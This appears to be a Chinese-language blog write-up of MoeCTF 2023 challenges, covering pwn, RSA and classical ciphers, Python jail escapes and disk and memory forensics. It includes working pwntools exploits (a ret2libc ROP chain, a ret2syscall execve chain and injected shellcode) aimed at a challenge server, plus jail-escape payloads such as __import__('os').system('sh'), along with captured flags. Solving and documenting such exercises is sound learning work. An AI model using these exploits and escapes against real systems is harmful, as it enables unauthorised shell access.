print(f"Libc base address: {hex(libc_base)}")

# gdb.attach(p)


###################################################################################
# 重新回到vuln 然后再read一遍,有了libc的基址 就能根据偏移拿到system /bin/sh
line = p.recvuntil(b"I hide the b4ckdoor..\n"); print(line)
line = p.recvline(); print(line)
line = p.recvuntil(b"But..maybe libc can help u??\n"); print(line)
line = p.recvline(); print(line)


system = libc_base + libc.symbols['system'] #system实际地址
binsh = libc_base + next(libc.search(b'/bin/sh')) # /bin/sh 实际地址
ret_address = 0x40101a # ret
gadget_address = 0x40117e # pop rdi ret

payload = b'a' * (80 + 8) # offset r
payload += p64(ret_address) # ret
payload += p64(gadget_address) # pop rdi ret
payload += p64(binsh)
payload += p64(system)

p.sendline(payload)

p.interactive()
moectf{zqCYX9rID5N8EvdK6cRpjzxGiKua-j6-}

ret2syscall

64位 syscall会根据rax的值去调用系统,其中有个execve的函数能够执行shell命令,编号是59。

用法是先设置rax的值为59来选择execve这个函数

然后设置rdi rsi rdx 三个寄存器传递/bin/ sh null null三个参数过去

最后syscall就好了

32位和64位不同的是传参的调用约定和编号

https://www.yuque.com/cyberangel/rg9gdm/iszq8p

https://publicki.top/old/syscall.html#x86_64-64_bit

from pwn import *

elf = context.binary = ELF('./ret2syscall')

ip = "192.168.129.194"
port = 57614

# p = process()
p = remote(ip,port) #

line = p.recvline() ; print(line) # Can you make a syscall?

syscall_addr = 0x401185
pop_rax_ret = 0x40117e
pop_rdi_ret = 0x401180
pop_rsi_ret = 0x401182
pop_rdx_ret = 0x401183
pop_rsi_rdx_ret = 0x401182
binsh = 0x404040

payload = flat(
    [
        b'a' * (64 + 8), # offset r
        pop_rax_ret, 59, # execve("/bin/sh" , NULL , NULL)
        pop_rdi_ret, binsh ,
        pop_rsi_rdx_ret , 0 , 0 ,
        syscall_addr
    ]
)

p.sendline(payload)

p.interactive()
moectf{3e8lLsjSF62Ebm55dV_11iZHHp7TFVUZ}

shellcode_level2

这里如果输入数据的第一个字节不为0的话,test al al 会将zf寄存器设置成1,然后会jz初始化我输入的数据,所以只需要保证第一个字节是0x00就好了

lea     rax, [rbp+s]
movzx   eax, byte ptr [rax]
test    al, al
jz      short loc_125D
lea     rax, [rbp+s]
mov     edx, 64h ; 'd'  ; n
mov     esi, 0          ; c
mov     rdi, rax        ; s
call    _memset
loc_125D:
lea     rax, [rbp+s]
add     rax, 1
mov     [rbp+var_78], rax
mov     rdx, [rbp+var_78]
mov     eax, 0
call    rdx
mov     eax, 0
mov     rdx, [rbp+var_8]
sub     rdx, fs:28h
jz      short locret_128D
from pwn import *

ip = "192.168.129.194"
port = 63480
p = remote(ip, port)
context(arch='amd64', os='linux')
# p = process("./shellcode_level2")

shellcode = asm(shellcraft.sh())
shellcode = b'\x00' + shellcode
payload = shellcode # #

p.sendline(payload)

p.interactive()
moectf{5WxAPxrGkQOTgaLi3fXkBZV8IKQEDBPF}

uninitialized_key_plus

和uninitialized_key类似,区别在get_name函数那是scanf %24s,然后位置有些不太一样ida里面看内存布局算一下就好了

from pwn import *

ip = "192.168.129.194"
port = 49771
p = remote(ip, port)
# p = process("./uninitialized_key_plus")

line = p.recvline(); print(line) # Welcome to Moectf 2023.
line = p.recvline(); print(line) # Do you know stack?
line = p.recvline(); print(line) # Please input your name:

payload = b'A' * 20
payload += p32(114514) # 转四字节
p.sendline(payload)

line = p.recvline(); print(line) # Your name is %s.\n
line = p.recvline(); print(line) # Please input your key:

p.sendline(b'=')

p.interactive()
moectf{HEPwrkfbVLeO2t_8ea0K6PipJiGm2DQP}

CRYPTO

Crypto 入门指北

去查询了一下指北里面的信息

欧拉函数 的定义是小于等于n和n互质数的个数,n是质数的时候则为n-1

然后 ax mod b = 1的时候,x则称作a mod b的逆元,是a的倒数

所以d = pow(e, -1, phi)这个是这么来的

得到私钥后就直接解密拿到flag

from Crypto.Util.number import * # 一个非常好用的crypto库

p = 0xe82a76eeb5ac63e054128e040171630b993feb33e0d3d38fbb7c0b54df3a2fb9b5589d1205e0e4240b8fcb4363acaa4c3c44dd6e186225ebf3ce881c7070afa7
q = 0xae5c2e450dbce36c8d6d1a5c989598fc01438f009f9b4c29352d43fd998d10984d402637d7657d772fb9f5e4f4feee63b267b401b67704979d519ad7f0a044eb
c = 0x4016bf1fe655c863dd6c08cbe70e3bb4e6d4feefacaaebf1cfa2a8d94051d21e51919ea754c1aa7bd1674c5330020a99e2401cb1f232331a2da61cb4329446a17e3b9d6b59e831211b231454e81cc8352986e05d44ae9fcd30d68d0ce288c65e0d22ce0e6e83122621d2b96543cec4828f590af9486aa57727c5fcd8e74bd296
e = 65537
n = p*q
phi = (p-1) * (q-1) # 你知道什么是 欧拉函数吗 [1]
d = pow(e, -1, phi) # 什么是乘法逆元? [2]
m = pow(c,d,n)
print(long_to_bytes(m))

baby_e

Jail

jail挺好玩的,思路开阔了很多

参考的这个文章学习的https://zhuanlan.zhihu.com/p/578966149

Jail lavel 0

print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
print('calc Answer: {}'.format(eval(user_input_data)))

可以用__ import __来导入os模块使用system来执行系统命令,import魔术方法使用import导入模块的时候,会调用import魔术方法。import魔术方法可以用来动调加载模块

__import__('os').system('sh')

flag{0dAAkA3NNdFaoIDhHrqY35M60amn3_Cs}

Jail lavel 1

这里多了个长度限制,lv0的payload用不了

print("Welcome to the MoeCTF2023 Jail challenge level1.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>12:
  print("Oh hacker! Bye~")
  exit(0)
print('calc Answer: {}'.format(eval(user_input_data)))

网上搜到有个思路是二次传参,exec(input())但是超了一个字符

有个breakpoint()函数,可以打开一个叫pdb(python debugger)的调试器,这个调试器可以执行python代码,还有打断点调试代码

进入后用第一题的__ import __ ('os').system('sh')就能打开一个终端,然后 cat flag拿到flag

flag{Wk1Sp0Q4gA6at3kySUmJhtdZq_AitxwJ}

Jail lavel 2

这里加了个长度限制

print("Welcome to the MoeCTF2023 Jail challenge level1.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>6:
  print("Oh hacker! Bye~")
  exit(0)
print('calc Answer: {}'.format(eval(user_input_data)))

可以使用help()函数 查看sys模块,sys模块下有个: 可以传递参数过去当shell命令执行

help()
sys
!
cat flag

flag{iQR2CFeLlJ8Hi8ydPGs-HVHXSmGiQxwP}

Jail Level 3 [未解决]

长度不超过12 且不可用breakpoint ,hint中help被禁用


    import re
    BANLIST = ['breakpoint']
    BANLIST_WORDS = '|'.join(f'({WORD})' for WORD in BANLIST)
    print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.")
    print("Enter your expression and I will evaluate it for you.")
    user_input_data = input("> ")
    if len(user_input_data)>12:
      print("Oh hacker! Bye~")
      exit(0)
    if re.findall(BANLIST_WORDS, user_input_data, re.I):
      raise Exception('Blacklisted word detected! you are hacker!')
    print('Answer result: {}'.format(eval(user_input_data)))

Jail Level 4

是一个不断循环 的eval(input),python2.7环境的

__import__('os').system('sh')

拿到flag flag{MvhG6P0cpa4yavJzq6gcJAYgGfNSi5yZ}

Leak Leval 0

fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")
print("| Options: | [V] uln | [B] ackdoor ")
        def func_filter(s):
        not_allowed = set('vvvveeee') return any(c in not_allowed
            for c in s)
        while (1):
            challenge_choice = input(">>> ").lower().strip()
        if challenge_choice == 'v':
        code = input("code >> ") if (len(code) > 9):
            print("you're hacker!")
        exit(0) if func_filter(code):
        print("Oh hacker! byte~") exit(0) print(eval(code)) elif challenge_choice == 'b':
        print("Please enter the admin key") key = input("key >> ") if (key == fake_key_into_local_but_valid_key_into_remote):
            print("Hey Admin,please input your code:")
        code = input("backdoor >> ") print(eval(code))
        else :
            print("You should select valid choice!")

vuln 9的长度可以用globals() 将真正的key给找出来,然后用backdoor执行代码

globals() #找到了key 'key_6366a131649a4e9b': '4e86eda06366a131649a4e9be1a9f217'
4e86eda06366a131649a4e9be1a9f217
__import__('os').system('sh')
cat flag
flag{GjyJBWFLfQoLO8qiZpIMjKQEjl-MBKnq}

Classical Crypto

ezrot

@64E7LC@Ecf0:D0;FDE020D:>!=60=6EE6C0DF3DE:EFE:@?04:!96C0tsAJdEA6d;F}%0N

查询了一下rot编码的原理,原理是将字符的ascii往前推

https://www.qqxiuzi.cn/bianma/ROT5-13-18-47.php 使用这里的rot47拿到flag,少了个m需要补充一下

moectf{rot47_is_just_a_simPle_letter_substitution_ciPher_EDpy5tpe5juNT_}

可可的新围墙

搜索围墙这个词,搜到了栅栏密码

mt3_hsTal3yGnM_p3jocfFn3cp3_hFs3c_3TrB__i3_uBro_lcsOp}e{ciri_hT_avn3Fa_j

http://www.atoolbox.net/Tool.php?Id=777 在线解密

moectf{F3nc3_ciph3r_shiFTs_3ach_l3TT3r_By_a_Giv3n_nuMB3r_oF_plac3s_Ojpj}

皇帝的新密码

观察长度,字符结构,像是将每个字符的ascii偏移n位,搜索到了凯撒密码

tvljam{JhLzhL_JPwoLy_Pz_h_cLyF_zPtwPL_JPwoLy!_ZmUVUA40q5KbEQZAK5Ehag4Av}

https://www.lddgo.net/encrypt/caesar-cipher 偏移7

moectf{CaEsaE_CIphEr_Is_a_vErY_sImpIE_CIphEr!_SfNONT40j5DuXJSTD5Xatz4To}

不是“皇帝的新密码”

这个题好坑啊,这里这个md5是key的md5,不是flag的md5,但是上面写着md5 of flag,我解了半天出不来,想来想去也不是代码逻辑有问题,弄了几组数据进去,脚本都没有问题。

密文看起来像是每位都偏移了n位,明文前六位是moectf,然后跑了一下脚本发现每位偏移都不太一样,也没有什么规律。后面发现是维吉尼亚密码

scsfct{wOuSQNfF_IWdkNf_Jy_o_zLchmK_voumSs_zvoQ_loFyof_FRdiKf_4i4x4NLgDn}

md5 of flag (utf-8) `ea23f80270bdd96b5fcd213cae68eea5`

网上查询到,维吉尼亚密码首先要确定key的长度,算出来是7,然后前六位moectf算出前六位key,爆破第七位和md5比较拿到key解密flag

import hashlib

def virginiaCrack(cipherText,key): # 解密函数
    length = getKeyLen(cipherText) #得到密钥长度
    # key = getKey(cipherText,length) #找到密钥
    for i in string.ascii_letters:
        key = "moectf" + i
        keyStr = ''
        for k in key:
            keyStr+=k
        print('the key:',keyStr)
        plainText = ''
        index = 0
        for ch in cipherText:
                c = chr((ord(ch)-ord(key[index%length]))%26+97)
                plainText += c
                index+=1
        print(plainText)
        return plainText

# 根据明文和密文偏移关系求前面的key
def vigenere_key(plaintext, ciphertext):
    alphabet = "abcdefghijklmnopqrstuvwxyz"
    key = ''
    for p, c in zip(plaintext, ciphertext):
        p_idx = alphabet.index(p)
        c_idx = alphabet.index(c)

        k_idx = (c_idx - p_idx) % 26
        key += alphabet[k_idx]
    return key

#解密
def vigenere_decrypt_extended(ciphertext, key):
    alphabet = "abcdefghijklmnopqrstuvwxyz"
    plaintext = ''

    key = key.lower()
    key_expanded = (key * (len(ciphertext) // len(key) + 1))[:len(ciphertext)]
    key_index = 0

    for c in ciphertext:
        if c in alphabet:
            k = key_expanded[key_index]
            c_idx = alphabet.index(c)
            k_idx = alphabet.index(k)

            p_idx = (c_idx - k_idx) % 26
            plaintext += alphabet[p_idx]

            key_index += 1
        else:
            plaintext += c

    return plaintext

def md5_hash(text):
    return hashlib.md5(text.encode()).hexdigest()

plaintext_prefix = "moectf"
ciphertext_prefix = "scsfct"
md5_target = "ea23f80270bdd96b5fcd213cae68eea5"
ciphertext = "scsfct{wOuSQNfF_IWdkNf_Jy_o_zLchmK_voumSs_zvoQ_loFyof_FRdiKf_4i4x4NLgDn}"

#前六位key
key_prefix = vigenere_key(plaintext_prefix, ciphertext_prefix)

#爆破第七位key
key_candidates = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
for candidate in key_candidates:
    test_key = key_prefix + candidate
    decrypted_text = vigenere_decrypt_extended(ciphertext_prefix, test_key)
    if md5_hash(decrypted_text) == md5_target:
        break

#解密
ciphertext_lower = ciphertext.lower()
decrypted_text_full = vigenere_decrypt_extended(ciphertext_lower, test_key)
decrypted_text_restored = ''.join(
    [decrypted_text_full[i] if c.islower() else decrypted_text_full[i].upper() for i, c in enumerate(ciphertext)])

print(decrypted_text_restored)

moectf{vIgENErE_CIphEr_Is_a_lIttlE_hardEr_thaN_caEsar_CIphEr_4u4u4EXfXz}

web

ai

AI入门指北

在这找到不带gpu版本的安装命令 https://pytorch.org/

moectf{install_torch_torchvision_torchaudio}

Forensics

随身携带的虚拟机

校园网好卡,附件下载了半天,解压后发现全是vmdk的文件

https://blog.csdn.net/jcjic/article/details/118241188 根据这篇文章创建了一个win10虚拟机然后导入vmdk进入了系统

发现有一个磁盘被bitlook锁住了,然后在回收站这发现了这个文件

BitLocker Drive Encryption recovery key 

To verify that this is the correct recovery key, compare the start of the following identifier with the identifier value displayed on your PC.

Identifier:

	4DFEE901-55AC-43EB-96F4-FFE09609952A

If the above identifier matches the one displayed by your PC, then use the following key to unlock your drive.

Recovery Key:

	702801-061622-323125-555819-258544-713713-089331-406373

If the above identifier doesn't match the one displayed by your PC, then this isn't the right key to unlock your drive.
Try another recovery key, or refer to https://go.microsoft.com/fwlink/?LinkID=260589 for additional assistance.

解锁磁盘后发现flag.txt

bW9lY3Rme0JhczFjX0QxNWtfRjByM25zMWNzIX0=

base64解码获得flag

moectf{Bas1c_D15k_F0r3ns1cs!}

坚持访问的浏览器

查询资料后发现在 ~/.mozilla/firefox/........ 下有个places.sqlite存储浏览器的历史记录和标签。

然后 moz_places表中存储网站url 标题等相关信息

在这个表中发现了https://hymint.space/~koito/ 这个网站,尝试访问一下发现打开了,没什么功能

f12找到了flag

    <!--
      I am always thinking about creating a flag that is safe enough.
      I came up with lots of ideas and moectf{Th15_iS_d3f1ni7e1y_1Ast_0NE_30a13cfb8426e919ecd4c5627cde4fa4}
      Next step is to hide it into this page!
    -->
moectf{Th15_iS_d3f1ni7e1y_1Ast_0NE_30a13cfb8426e919ecd4c5627cde4fa4}

锁定起来的同人文

一开始不太懂dumpmem.raw和qaq.hc 是什么文件,搜索了一下后发现一个是内存镜像,一个是用VeraCrypt加密的文件。然后找到了这个内存软件

https://github.com/volatilityfoundation/volatility3/

volatility_2.6_win64_standalone.exe -f dumpmem.raw --profile Win2016x64_14393 filescan | findstr /R "txt png jpg gif zip rar 7z pdf doc"

找到一个key 0x958246a8c550 \Users\Administrator\Desktop\key_pixiv_id105614615.png ,但是dumpfile不下来,翻了很多issue还有试过换3,也是dump不下来

一开始考虑到图片下载网站略缩图的原因,可能我根据id搜下载下来的key不正确,最后dumpfile没有思路的时候,试了一下搜索下载当key,然后解出来了

https://www.bilibili.com/read/cv3744376/ p站搜id的方法

http://www.pixiv.net/member.php?id=105614615 搜到了图片 解密了.hc文件

tmp目录下发现 history.db siyuan.db还有pandoc,搜了一下pandoc是一个文档转换的程序,siyuan是一个插件,在siyuan.db中的 block_fts_content中发现了.sy的文件名还有内容

NVXWKY3UMZ5VGMC7MQZTG4DMPFPUQMLEMRSW4IL5 这像是某种编码,根据搜索编码特征后,发现是base32

https://www.lzltool.cn/Tools/Base32Decode

解密后得到flag

moectf{S0_d33ply_H1dden!}

ww,moectf学到挺多东西的捏,入门了re和pwn,后面比较忙就没有继续做了qaq

标签:__,int,text,print,flag,key,wp,moectf
From: https://www.cnblogs.com/nyyyddddn/p/17766151.html

相关文章

  • shctf week1 wp
    REez_asm程序的逻辑大概是把输入的数据flag按字节^0x1E-0x0A一遍,然后输出,所以只需要置反一下先+0x0A然后再^0x1e就能求出flag.text:0000000000401566loc_401566:;CODEXREF:main+65↓j.text:0000000......
  • [SWPUCTF 2021 新生赛]老鼠走迷宫(详细版
    附件下载https://wwvc.lanzouj.com/iYLez1br84jg解题思路用pyinstxtrator解析exe重点:将无后缀的5先修改后缀为pyc,然后随便找一个pyc文件补齐5.pyc的前16位十六进制数值(这道题以struct.pyc为例)将.pyc反编译为.py找到maze,从而找到最短路径改后缀下载附件,拿到一个无后缀的......
  • 循序渐进介绍基于CommunityToolkit.Mvvm 和HandyControl的WPF应用端开发(8) -- 使用Co
    在我们WPF应用端的时候,和WInform开发或者Vue前端开发一样,有时候也需要对内容进行转义处理,如把一些0,1数值转换为具体含义的文本信息,或者把一些布尔变量转换为是否等,都是常见的转换处理,本篇随笔介绍在WPF应用端对内容使用Converter类实现内容的转义处理的操作。1、使用Converter实......
  • 十分钟带你搞懂WPF模板Template
    三类模板(ControlTemplate,DataTemplate,ItemsPanelTemplate)ControlTemplate(所有控件的显示渲染)是用来重写现有控件的可视结构的,一般和依赖属性和附加属性结合,加上绑定,控件可以获得很好的扩展。demo以下是一个简单的WPFControlTemplate样式示例。这个示例是为一个Button......
  • 循序渐进介绍基于CommunityToolkit.Mvvm 和HandyControl的WPF应用端开发(7) -- 图标列
    我们在WPF应用端的界面中,使用lepoco/wpfui来做主要的入口框架,这个项目它的菜单内置了不少图标,我们需要在动态菜单的配置中,使用它作为图标的展示处理,本篇随笔介绍如何基于图标枚举集合进行图标的展示和选择处理。并扩展到Font-Awesome-WPF的处理进行展示和选择。1、lepoco/wpfui......
  • 牛腩WPF框架
     牛腩WPF框架 上中下三部分,中间分左右二部分,点击左边右边tab标签页显示 标签页关闭的功能抄https://www.cnblogs.com/tsliwei/p/5625398.html的,不错不错。。 源码GIT地址:https://niunan-01.coding.net/public/lx0012.niunanwpfkuangjia/lx0012/git/files 部分代码:......
  • WPF中Image控件绑定数据源,解决图片被占用问题
    WPF中Image控件的数据源如果设置为路径,或者后台通过Image.FromFile来绑定,该图片将被占用,如要进行图片压缩、删除等操作则会报图片被占用的错;所以可以从内存中加载图片进行绑定。以下为MVVMLight模式,首先增加一个图片路径值转换的类publicclassImageConvert:IValueConverte......
  • 「UI开发」DevExpress WPF Pivot Grid组件可轻松实现多维数据分析!(一)
    DevExpressWPF PivotGrid组件是一个类似excel的数据透视表,用于多维数据分析和跨选项卡报表生成。众多的布局自定义选项让您完全控制其UI,以用户为中心的功能使其更易于部署。P.S:DevExpressWPF拥有120+个控件和库,将帮助您交付满足甚至超出企业需求的高性能业务应用程序。通过De......
  • vulnhub-wp-funbox1
    vulnhub靶机wp系列之funbox:1本文结构......
  • WPF使用Winform、ActiveX(OCX)控件
    一、调用Winform控件1、添加“WindowsFormsIntegration”程序集引用 2、在前端代码设计处使用命名控件代码:xmlns:wf="clr-namespace:System.Windows.Forms.Integration;assembly=WindowsFormsIntegration"示例图: 3、然后,就可以在XAML文件中这样使用WindowsFormsHo......